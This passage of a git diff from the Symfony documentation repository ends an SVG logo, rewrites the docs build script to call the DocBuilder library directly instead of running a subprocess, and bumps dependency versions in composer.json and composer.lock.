-<svg xmlns="http://www.w3.org/2000/svg" width="260" height="66" viewBox="0 0 260 66"><circle fill="#1A171B" cx="32.455" cy="32.665" r="32.455"/><path fill="#FFF" d="M46.644 12.219c-3.297.115-6.175 1.932-8.317 4.446-2.372 2.756-3.95 6.025-5.087 9.362-2.034-1.667-3.603-3.825-6.866-4.766-2.522-.724-5.171-.425-7.607 1.39-1.154.862-1.949 2.165-2.327 3.39-.979 3.183 1.029 6.016 1.941 7.033l1.994 2.137c.411.419 1.401 1.512.917 3.079-.523 1.704-2.577 2.807-4.684 2.157-.941-.287-2.293-.988-1.99-1.975.125-.404.414-.706.569-1.055.142-.3.21-.525.253-.657.385-1.257-.141-2.892-1.487-3.307-1.256-.385-2.541-.08-3.039 1.537-.565 1.837.314 5.171 5.023 6.623 5.517 1.695 10.184-1.309 10.846-5.227.417-2.454-.691-4.277-2.721-6.622l-1.654-1.829c-1.002-1.001-1.346-2.707-.309-4.018.875-1.106 2.121-1.578 4.162-1.023 2.979.809 4.307 2.876 6.523 4.543-.915 3.001-1.513 6.013-2.054 8.714l-.33 2.014c-1.584 8.308-2.793 12.87-5.935 15.489-.633.45-1.538 1.124-2.902 1.171-.715.022-.946-.47-.956-.684-.017-.502.406-.732.687-.958.42-.229 1.055-.609 1.012-1.826-.046-1.438-1.237-2.685-2.959-2.628-1.29.044-3.256 1.258-3.182 3.48.077 2.295 2.216 4.015 5.441 3.906 1.724-.059 5.574-.761 9.368-5.271 4.416-5.17 5.651-11.097 6.58-15.435l1.037-5.727c.576.069 1.192.115 1.862.131 5.5.116 8.251-2.733 8.292-4.805.027-1.254-.823-2.488-2.013-2.46-.852.024-1.922.591-2.179 1.769-.251 1.156 1.75 2.199.186 3.212-1.111.719-3.103 1.226-5.908.814l.51-2.819c1.041-5.346 2.325-11.922 7.196-12.082.355-.018 1.654.016 1.684.875.009.287-.062.36-.398 1.017-.342.512-.471.948-.455 1.449.047 1.365 1.085 2.262 2.586 2.208 2.01-.065 2.588-2.022 2.555-3.027-.081-2.361-2.57-3.853-5.865-3.745z"/><path fill="#1A171B" d="M196.782 23.534c7.48 0 12.499 5.407 12.499 12.887 0 7.048-5.116 12.886-12.499 12.886-7.435 0-12.55-5.838-12.55-12.886 0-7.48 5.018-12.887 12.55-12.887zm0 22.109c5.306 0 7.671-4.827 7.671-9.222 0-4.68-2.847-9.217-7.671-9.217-4.877 0-7.724 4.537-7.724 9.217.001 4.394 2.365 9.222 7.724 9.222zM183.61 25.825v-1.713h-6.518v-2.341c0-3.33.483-5.842 4.391-5.842.072 0 .149.005.224.008.008 0 .007-.012.016-.012 1.085.08 1.987-.804 2.048-1.887l.08-1.486c-.915-.146-1.884-.29-3.039-.29-6.709 0-8.255 3.91-8.255 9.896v1.955h-5.795v1.913c.149.99.996 1.752 2.031 1.752.006 0 .009.005.016.005h3.748V48.73h2.5l.006-.001c1.04 0 1.892-.779 2.03-1.779V27.783h4.538a2.052 2.052 0 0 0 1.979-1.958zm-60.435-1.713c-.008 0-.013.006-.024.006-.956 0-1.882.657-2.286 1.545l-6.244 18.82h-.096l-6.106-18.81c-.399-.893-1.329-1.555-2.291-1.555-.011 0-.015-.006-.024-.006h-3.164l8.351 22.977c.291.821.871 2.077.871 2.606 0 .483-1.353 6.08-5.409 6.08-.1 0-.201-.009-.3-.017-1.034-.057-1.815.665-1.989 1.779l-.124 1.57c.82.145 1.645.338 3.092.338 5.984 0 7.769-5.455 9.46-10.185l9.073-25.149h-2.79zm-28.843 5c-3.747-1.917-7.847-3.218-7.918-7.076.012-4.097 3.776-5.172 6.677-5.169.012-.002.024-.002.031-.002 1.26 0 2.268.125 3.251.34.013 0 .011-.016.027-.016 1.039.076 1.911-.737 2.034-1.762l.083-1.488c-1.902-.473-3.889-.712-5.619-.712-6.309.039-10.992 3.213-11.007 9.268.009 5.296 3.578 7.349 7.416 9.207 3.764 1.81 7.888 3.305 7.924 7.674-.023 4.56-4.423 6.241-7.455 6.247-1.773-.006-3.698-.449-5.32-.96-1.017-.168-1.851.729-1.982 1.917l-.138 1.327c2.23.72 4.517 1.348 6.815 1.348h.027c7.065-.051 12.557-2.869 12.578-10.185-.011-5.645-3.604-8.016-7.424-9.958zm68.623 19.617l.006-.001c.98 0 1.796-.687 2.004-1.604V32.947c0-5.358-2.267-9.413-8.546-9.413-2.219 0-5.934 1.257-7.623 4.779-1.306-3.331-4.15-4.779-7-4.779-3.619 0-6.082 1.303-7.816 4.152h-.099v-1.532a2.058 2.058 0 0 0-2.055-2.036c-.008 0-.014-.006-.022-.006h-2.169v24.617h2.456l.006-.001a2.06 2.06 0 0 0 2.059-2.059c0-.03.011-.042.016-.063v-10.28c0-4.585 1.834-9.122 6.467-9.122 3.669 0 4.396 3.811 4.396 6.853V48.73h2.49l.007-.001a2.05 2.05 0 0 0 2.037-1.873v-10.53c0-4.585 1.835-9.122 6.468-9.122 3.667 0 4.393 3.811 4.393 6.853V48.73h2.525zm70.113 0l.008-.001a2.054 2.054 0 0 0 2.049-1.964v-12.66c0-6.611-2.85-10.571-9.222-10.571-3.426 0-6.705 1.691-8.059 4.491h-.097v-1.839c0-.001-.004-.001-.004-.006a2.057 2.057 0 0 0-2.058-2.061c-.011 0-.015-.006-.022-.006h-2.311v24.617h2.493l.007-.001a2.05 2.05 0 0 0 2.038-1.895v-9.495c0-5.984 2.319-10.135 7.482-10.135 3.96.24 5.211 3.038 5.211 8.783v12.742h2.485zm24.428-24.617c-.011 0-.014.006-.026.006-.954 0-1.883.657-2.283 1.545l-6.242 18.82h-.102l-6.104-18.81c-.401-.893-1.331-1.555-2.293-1.555-.007 0-.015-.006-.021-.006h-3.164l8.351 22.977c.291.821.873 2.077.873 2.606 0 .483-1.355 6.08-5.41 6.08-.102 0-.201-.009-.301-.017-1.033-.057-1.815.665-1.99 1.779l-.122 1.57c.82.145 1.645.338 3.091.338 5.984 0 7.772-5.455 9.462-10.185l9.074-25.149h-2.793z"/></svg>
\ No newline at end of file
diff --git a/_build/build.php b/_build/build.php
index 9dba64d5145..a72220ab003 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -5,39 +5,52 @@
 use Symfony\Component\Console\Application;
 use Symfony\Component\Console\Input\InputInterface;
 use Symfony\Component\Console\Output\OutputInterface;
-use Symfony\Component\Process\Process;
-use Symfony\Component\Process\Exception\ProcessFailedException;
 use Symfony\Component\Console\Input\InputOption;
+use Symfony\Component\Console\Style\SymfonyStyle;
+use SymfonyDocsBuilder\BuildConfig;
+use SymfonyDocsBuilder\DocBuilder;
 
 (new Application('Symfony Docs Builder', '1.0'))
     ->register('build-docs')
     ->addOption('generate-fjson-files', null, InputOption::VALUE_NONE, 'Use this option to generate docs both in HTML and JSON formats')
     ->addOption('disable-cache', null, InputOption::VALUE_NONE, 'Use this option to force a full regeneration of all doc contents')
     ->setCode(function(InputInterface $input, OutputInterface $output) {
-        $command = [
-            'php',
-            'vendor/symfony/docs-builder/bin/console',
-            'build:docs',
-            sprintf('--save-errors=%s', __DIR__.'/logs.txt'),
-            __DIR__.'/../',
-            __DIR__.'/output/',
-        ];
-
-        if ($input->getOption('generate-fjson-files')) {
-            $command[] = '--output-json';
+        $io = new SymfonyStyle($input, $output);
+        $io->text('Building all Symfony Docs...');
+
+        $outputDir = __DIR__.'/output';
+        $buildConfig = (new BuildConfig())
+            ->setSymfonyVersion('4.4')
+            ->setContentDir(__DIR__.'/..')
+            ->setOutputDir($outputDir)
+            ->setImagesDir(__DIR__.'/output/_images')
+            ->setImagesPublicPrefix('_images')
+            ->setTheme('sfdocs')
+        ;
+
+        $buildConfig->setExcludedPaths(['.github/', '_build/']);
+
+        if (!$generateJsonFiles = $input->getOption('generate-fjson-files')) {
+            $buildConfig->disableJsonFileGeneration();
         }
 
-        if ($input->getOption('disable-cache')) {
-            $command[] = '--disable-cache';
+        if ($isCacheDisabled = $input->getOption('disable-cache')) {
+            $buildConfig->disableBuildCache();
         }
 
-        $process = new Process($command);
-        $process->setTimeout(3600);
+        $io->comment(sprintf('cache: %s / output file type(s): %s', $isCacheDisabled ? 'disabled' : 'enabled', $generateJsonFiles ? 'HTML and JSON' : 'HTML'));
+        if (!$isCacheDisabled) {
+            $io->comment('Tip: add the --disable-cache option to this command to force the re-build of all docs.');
+        }
 
-        $this->getHelper('process')->run($output, $process);
+        $result = (new DocBuilder())->build($buildConfig);
 
-        if (!$process->isSuccessful()) {
-            throw new ProcessFailedException($process);
+        if ($result->isSuccessful()) {
+            $io->success(sprintf("The Symfony Docs were successfully built at %s", realpath($outputDir)));
+        } else {
+            $io->error(sprintf("There were some errors while building the docs:\n\n%s\n", $result->getErrorTrace()));
+            $io->newLine();
+            $io->comment('Tip: you can add the -v, -vv or -vvv flags to this command to get debug information.');
         }
     })
     ->getApplication()
diff --git a/_build/composer.json b/_build/composer.json
index 8bfbd030cbe..fd7ec177c15 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -12,8 +12,8 @@
     },
     "require": {
         "php": ">=7.4",
-        "symfony/console": "^5.2",
-        "symfony/process": "^5.2",
-        "symfony-tools/docs-builder": "^0.15.0"
+        "symfony/console": "^5.4",
+        "symfony/process": "^5.4",
+        "symfony-tools/docs-builder": "^0.18"
     }
 }
diff --git a/_build/composer.lock b/_build/composer.lock
index a4662694f27..4f77182d8c4 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,7 +4,7 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "49b2e2e5deccf075db5011162e2dae0a",
+    "content-hash": "4cd8dc9a70f9ccfb279a426fffbcf2bc",
     "packages": [
         {
             "name": "doctrine/event-manager",
@@ -102,24 +102,26 @@
         },
         {
             "name": "doctrine/rst-parser",
-            "version": "0.4.x-dev",
+            "version": "0.4.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/rst-parser.git",
-                "reference": "b4db3420f62f44c2c12420b30dcf73f4c4700910"
+                "reference": "73992ea579f6bfcb0697e4df29499c48b7542203"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/b4db3420f62f44c2c12420b30dcf73f4c4700910",
-                "reference": "b4db3420f62f44c2c12420b30dcf73f4c4700910",
+                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/73992ea579f6bfcb0697e4df29499c48b7542203",
+                "reference": "73992ea579f6bfcb0697e4df29499c48b7542203",
                 "shasum": ""
             },
             "require": {
                 "doctrine/event-manager": "^1.0",
-                "php": "^7.1 || ^8.0",
+                "php": "^7.2 || ^8.0",
                 "symfony/filesystem": "^4.1 || ^5.0",
                 "symfony/finder": "^4.1 || ^5.0",
                 "symfony/polyfill-mbstring": "^1.0",
+                "symfony/string": "^5.3",
+                "symfony/translation-contracts": "^1.1 || ^2.0",
                 "twig/twig": "^2.9 || ^3.3"
             },
             "require-dev": {
@@ -133,7 +135,6 @@
                 "symfony/css-selector": "4.4 || ^5.2",
                 "symfony/dom-crawler": "4.4 || ^5.2"
             },
-            "default-branch": true,
             "type": "library",
             "autoload": {
                 "psr-4": {
@@ -168,9 +169,9 @@
             ],
             "support": {
                 "issues": "https://github.com/doctrine/rst-parser/issues",
-                "source": "https://github.com/doctrine/rst-parser/tree/0.4.x"
+                "source": "https://github.com/doctrine/rst-parser/tree/0.4.4"
             },
-            "time": "2021-04-15T17:43:16+00:00"
+            "time": "2021-10-21T18:44:45+00:00"
         },
         {
             "name": "psr/container",
@@ -222,16 +223,16 @@
         },
         {
             "name": "psr/log",
-            "version": "1.1.3",
+            "version": "1.1.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/log.git",
-                "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc"
+                "reference": "d49695b909c3b7628b6289db5479a1c204601f11"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/log/zipball/0f73288fd15629204f9d42b7055f72dacbe811fc",
-                "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc",
+                "url": "https://api.github.com/repos/php-fig/log/zipball/d49695b909c3b7628b6289db5479a1c204601f11",
+                "reference": "d49695b909c3b7628b6289db5479a1c204601f11",
                 "shasum": ""
             },
             "require": {
@@ -255,7 +256,7 @@
             "authors": [
                 {
                     "name": "PHP-FIG",
-                    "homepage": "http://www.php-fig.org/"
+                    "homepage": "https://www.php-fig.org/"
                 }
             ],
             "description": "Common interface for logging libraries",
@@ -266,27 +267,26 @@
                 "psr-3"
             ],
             "support": {
-                "source": "https://github.com/php-fig/log/tree/1.1.3"
+                "source": "https://github.com/php-fig/log/tree/1.1.4"
             },
-            "time": "2020-03-23T09:12:05+00:00"
+            "time": "2021-05-03T11:20:27+00:00"
         },
         {
             "name": "scrivo/highlight.php",
-            "version": "v9.18.1.6",
+            "version": "v9.18.1.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/scrivo/highlight.php.git",
-                "reference": "44a3d4136edb5ad8551590bf90f437db80b2d466"
+                "reference": "6d5049cd2578e19a06adbb6ac77879089be1e3f9"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/44a3d4136edb5ad8551590bf90f437db80b2d466",
-                "reference": "44a3d4136edb5ad8551590bf90f437db80b2d466",
+                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/6d5049cd2578e19a06adbb6ac77879089be1e3f9",
+                "reference": "6d5049cd2578e19a06adbb6ac77879089be1e3f9",
                 "shasum": ""
             },
             "require": {
                 "ext-json": "*",
-                "ext-mbstring": "*",
                 "php": ">=5.4"
             },
             "require-dev": {
@@ -295,6 +295,9 @@
                 "symfony/finder": "^2.8|^3.4",
                 "symfony/var-dumper": "^2.8|^3.4"
             },
+            "suggest": {
+                "ext-mbstring": "Allows highlighting code with unicode characters and supports language with unicode keywords"
+            },
             "type": "library",
             "autoload": {
                 "psr-0": {
@@ -344,29 +347,80 @@
                     "type": "github"
                 }
             ],
-            "time": "2020-12-22T19:20:29+00:00"
+            "time": "2021-10-24T00:28:14+00:00"
+        },
+        {
+            "name": "symfony-tools/docs-builder",
+            "version": "v0.18.2",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony-tools/docs-builder.git",
+                "reference": "53632711147e08782e2be782d5cbe68109c497be"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/53632711147e08782e2be782d5cbe68109c497be",
+                "reference": "53632711147e08782e2be782d5cbe68109c497be",
+                "shasum": ""
+            },
+            "require": {
+                "doctrine/rst-parser": "^0.4",
+                "ext-curl": "*",
+                "ext-json": "*",
+                "php": "^7.2 || ^8.0",
+                "scrivo/highlight.php": "^9.12.0",
+                "symfony/console": "^5.2",
+                "symfony/css-selector": "^5.2",
+                "symfony/dom-crawler": "^5.2",
+                "symfony/filesystem": "^5.2",
+                "symfony/finder": "^5.2",
+                "symfony/http-client": "^5.2",
+                "twig/twig": "^2.14 || ^3.3"
+            },
+            "require-dev": {
+                "gajus/dindent": "^2.0",
+                "symfony/phpunit-bridge": "^5.2",
+                "symfony/process": "^5.2"
+            },
+            "type": "project",
+            "autoload": {
+                "psr-4": {
+                    "SymfonyDocsBuilder\\": "src"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "description": "The build system for Symfony's documentation",
+            "support": {
+                "issues": "https://github.com/symfony-tools/docs-builder/issues",
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.18.2"
+            },
+            "time": "2021-10-15T07:59:06+00:00"
         },
         {
             "name": "symfony/console",
-            "version": "v5.2.6",
+            "version": "5.4.x-dev",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "35f039df40a3b335ebf310f244cb242b3a83ac8d"
+                "reference": "4b9af1b40d7e11750b248ceb38bb45a0d013ba29"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/35f039df40a3b335ebf310f244cb242b3a83ac8d",
-                "reference": "35f039df40a3b335ebf310f244cb242b3a83ac8d",
+                "url": "https://api.github.com/repos/symfony/console/zipball/4b9af1b40d7e11750b248ceb38bb45a0d013ba29",
+                "reference": "4b9af1b40d7e11750b248ceb38bb45a0d013ba29",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
+                "symfony/deprecation-contracts": "^2.1",
                 "symfony/polyfill-mbstring": "~1.0",
                 "symfony/polyfill-php73": "^1.8",
-                "symfony/polyfill-php80": "^1.15",
+                "symfony/polyfill-php80": "^1.16",
                 "symfony/service-contracts": "^1.1|^2",
-                "symfony/string": "^5.1"
+                "symfony/string": "^5.1|^6.0"
             },
             "conflict": {
                 "symfony/dependency-injection": "<4.4",
@@ -376,16 +430,16 @@
                 "symfony/process": "<4.4"
             },
             "provide": {
-                "psr/log-implementation": "1.0"
+                "psr/log-implementation": "1.0|2.0"
             },
             "require-dev": {
-                "psr/log": "~1.0",
-                "symfony/config": "^4.4|^5.0",
-                "symfony/dependency-injection": "^4.4|^5.0",
-                "symfony/event-dispatcher": "^4.4|^5.0",
-                "symfony/lock": "^4.4|^5.0",
-                "symfony/process": "^4.4|^5.0",
-                "symfony/var-dumper": "^4.4|^5.0"
+                "psr/log": "^1|^2",
+                "symfony/config": "^4.4|^5.0|^6.0",
+                "symfony/dependency-injection": "^4.4|^5.0|^6.0",
+                "symfony/event-dispatcher": "^4.4|^5.0|^6.0",
+                "symfony/lock": "^4.4|^5.0|^6.0",
+                "symfony/process": "^4.4|^5.0|^6.0",
+                "symfony/var-dumper": "^4.4|^5.0|^6.0"
             },
             "suggest": {
                 "psr/log": "For using the console logger",
@@ -425,7 +479,7 @@
                 "terminal"
             ],
             "support": {
-                "source": "https://github.com/symfony/console/tree/v5.2.6"
+                "source": "https://github.com/symfony/console/tree/5.4"
             },
             "funding": [
                 {
@@ -441,24 +495,25 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-03-28T09:42:18+00:00"
+            "time": "2021-11-03T09:24:47+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v5.2.4",
+            "version": "v5.3.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "f65f217b3314504a1ec99c2d6ef69016bb13490f"
+                "reference": "7fb120adc7f600a59027775b224c13a33530dd90"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/f65f217b3314504a1ec99c2d6ef69016bb13490f",
-                "reference": "f65f217b3314504a1ec99c2d6ef69016bb13490f",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/7fb120adc7f600a59027775b224c13a33530dd90",
+                "reference": "7fb120adc7f600a59027775b224c13a33530dd90",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5"
+                "php": ">=7.2.5",
+                "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
             "autoload": {
@@ -490,7 +545,7 @@
             "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v5.2.4"
+                "source": "https://github.com/symfony/css-selector/tree/v5.3.4"
             },
             "funding": [
                 {
@@ -506,70 +561,95 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T10:01:46+00:00"
+            "time": "2021-07-21T12:38:00+00:00"
         },
         {
-            "name": "symfony/docs-builder",
-            "version": "v0.15.0",
+            "name": "symfony/deprecation-contracts",
+            "version": "v2.4.0",
             "source": {
                 "type": "git",
-                "url": "https://github.com/weaverryan/docs-builder",
-                "reference": "b9f5e8d9b0608e5dc55979e32bc0f36983adcbd8"
+                "url": "https://github.com/symfony/deprecation-contracts.git",
+                "reference": "5f38c8804a9e97d23e0c8d63341088cd8a22d627"
             },
-            "require": {
-                "doctrine/rst-parser": "0.4.x-dev",
-                "ext-curl": "*",
-                "ext-json": "*",
-                "scrivo/highlight.php": "^9.12.0",
-                "symfony/console": "^5.2",
-                "symfony/css-selector": "^5.2",
-                "symfony/dom-crawler": "^5.2",
-                "symfony/filesystem": "^5.2",
-                "symfony/finder": "^5.2",
-                "symfony/http-client": "^5.2",
-                "twig/twig": "^2.14 || ^3.3"
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/5f38c8804a9e97d23e0c8d63341088cd8a22d627",
+                "reference": "5f38c8804a9e97d23e0c8d63341088cd8a22d627",
+                "shasum": ""
             },
-            "require-dev": {
-                "gajus/dindent": "^2.0",
-                "symfony/phpunit-bridge": "^5.2",
-                "symfony/process": "^5.2"
+            "require": {
+                "php": ">=7.1"
             },
-            "type": "project",
-            "autoload": {
-                "psr-4": {
-                    "SymfonyDocsBuilder\\": "src"
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "2.4-dev"
+                },
+                "thanks": {
+                    "name": "symfony/contracts",
+                    "url": "https://github.com/symfony/contracts"
                 }
             },
-            "autoload-dev": {
-                "psr-4": {
-                    "SymfonyDocsBuilder\\Tests\\": "tests"
-                }
+            "autoload": {
+                "files": [
+                    "function.php"
+                ]
             },
+            "notification-url": "https://packagist.org/downloads/",
             "license": [
                 "MIT"
             ],
-            "description": "The build system for Symfony's documentation",
-            "time": "2021-04-15T00:39:27+00:00"
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "A generic function and convention to trigger deprecation notices",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/deprecation-contracts/tree/v2.4.0"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2021-03-23T23:28:01+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v5.2.4",
+            "version": "v5.3.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "400e265163f65aceee7e904ef532e15228de674b"
+                "reference": "c7eef3a60ccfdd8eafe07f81652e769ac9c7146c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/400e265163f65aceee7e904ef532e15228de674b",
-                "reference": "400e265163f65aceee7e904ef532e15228de674b",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/c7eef3a60ccfdd8eafe07f81652e769ac9c7146c",
+                "reference": "c7eef3a60ccfdd8eafe07f81652e769ac9c7146c",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
+                "symfony/deprecation-contracts": "^2.1",
                 "symfony/polyfill-ctype": "~1.8",
                 "symfony/polyfill-mbstring": "~1.0",
-                "symfony/polyfill-php80": "^1.15"
+                "symfony/polyfill-php80": "^1.16"
             },
             "conflict": {
                 "masterminds/html5": "<2.6"
@@ -607,7 +687,7 @@
             "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v5.2.4"
+                "source": "https://github.com/symfony/dom-crawler/tree/v5.3.7"
             },
             "funding": [
                 {
@@ -623,25 +703,26 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-02-15T18:55:04+00:00"
+            "time": "2021-08-29T19:32:13+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v5.2.6",
+            "version": "v5.3.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "8c86a82f51658188119e62cff0a050a12d09836f"
+                "reference": "343f4fe324383ca46792cae728a3b6e2f708fb32"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/8c86a82f51658188119e62cff0a050a12d09836f",
-                "reference": "8c86a82f51658188119e62cff0a050a12d09836f",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/343f4fe324383ca46792cae728a3b6e2f708fb32",
+                "reference": "343f4fe324383ca46792cae728a3b6e2f708fb32",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
-                "symfony/polyfill-ctype": "~1.8"
+                "symfony/polyfill-ctype": "~1.8",
+                "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
             "autoload": {
@@ -669,7 +750,7 @@
             "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v5.2.6"
+                "source": "https://github.com/symfony/filesystem/tree/v5.3.4"
             },
             "funding": [
                 {
@@ -685,24 +766,25 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-03-28T14:30:26+00:00"
+            "time": "2021-07-21T12:40:44+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v5.2.4",
+            "version": "v5.3.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "0d639a0943822626290d169965804f79400e6a04"
+                "reference": "a10000ada1e600d109a6c7632e9ac42e8bf2fb93"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/0d639a0943822626290d169965804f79400e6a04",
-                "reference": "0d639a0943822626290d169965804f79400e6a04",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/a10000ada1e600d109a6c7632e9ac42e8bf2fb93",
+                "reference": "a10000ada1e600d109a6c7632e9ac42e8bf2fb93",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5"
+                "php": ">=7.2.5",
+                "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
             "autoload": {
@@ -730,7 +812,7 @@
             "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v5.2.4"
+                "source": "https://github.com/symfony/finder/tree/v5.3.7"
             },
             "funding": [
                 {
@@ -746,35 +828,36 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-02-15T18:55:04+00:00"
+            "time": "2021-08-04T21:20:46+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v5.2.6",
+            "version": "v5.3.10",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "3c3075467da15bc2edf38d2ac20d34719e794bd8"
+                "reference": "710b69ed4bc9469900ec5ae5c3807b0509bee0dc"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/3c3075467da15bc2edf38d2ac20d34719e794bd8",
-                "reference": "3c3075467da15bc2edf38d2ac20d34719e794bd8",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/710b69ed4bc9469900ec5ae5c3807b0509bee0dc",
+                "reference": "710b69ed4bc9469900ec5ae5c3807b0509bee0dc",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
-                "psr/log": "^1.0",
-                "symfony/http-client-contracts": "^2.2",
+                "psr/log": "^1|^2|^3",
+                "symfony/deprecation-contracts": "^2.1",
+                "symfony/http-client-contracts": "^2.4",
                 "symfony/polyfill-php73": "^1.11",
-                "symfony/polyfill-php80": "^1.15",
+                "symfony/polyfill-php80": "^1.16",
                 "symfony/service-contracts": "^1.0|^2"
             },
             "provide": {
                 "php-http/async-client-implementation": "*",
                 "php-http/client-implementation": "*",
                 "psr/http-client-implementation": "1.0",
-                "symfony/http-client-implementation": "2.2"
+                "symfony/http-client-implementation": "2.4"
             },
             "require-dev": {
                 "amphp/amp": "^2.5",
@@ -816,7 +899,7 @@
             "description": "Provides powerful methods to fetch HTTP resources synchronously or asynchronously",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v5.2.6"
+                "source": "https://github.com/symfony/http-client/tree/v5.3.10"
             },
             "funding": [
                 {
@@ -832,7 +915,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-03-28T09:42:18+00:00"
+            "time": "2021-10-19T08:32:53+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
@@ -914,16 +997,16 @@
         },
         {
             "name": "symfony/polyfill-ctype",
-            "version": "v1.22.1",
+            "version": "v1.23.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-ctype.git",
-                "reference": "c6c942b1ac76c82448322025e084cadc56048b4e"
+                "reference": "46cd95797e9df938fdd2b03693b5fca5e64b01ce"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/c6c942b1ac76c82448322025e084cadc56048b4e",
-                "reference": "c6c942b1ac76c82448322025e084cadc56048b4e",
+                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/46cd95797e9df938fdd2b03693b5fca5e64b01ce",
+                "reference": "46cd95797e9df938fdd2b03693b5fca5e64b01ce",
                 "shasum": ""
             },
             "require": {
@@ -935,7 +1018,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.22-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -973,7 +1056,7 @@
                 "portable"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.22.1"
+                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.23.0"
             },
             "funding": [
                 {
@@ -989,20 +1072,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-07T16:49:33+00:00"
+            "time": "2021-02-19T12:13:01+00:00"
         },
         {
             "name": "symfony/polyfill-intl-grapheme",
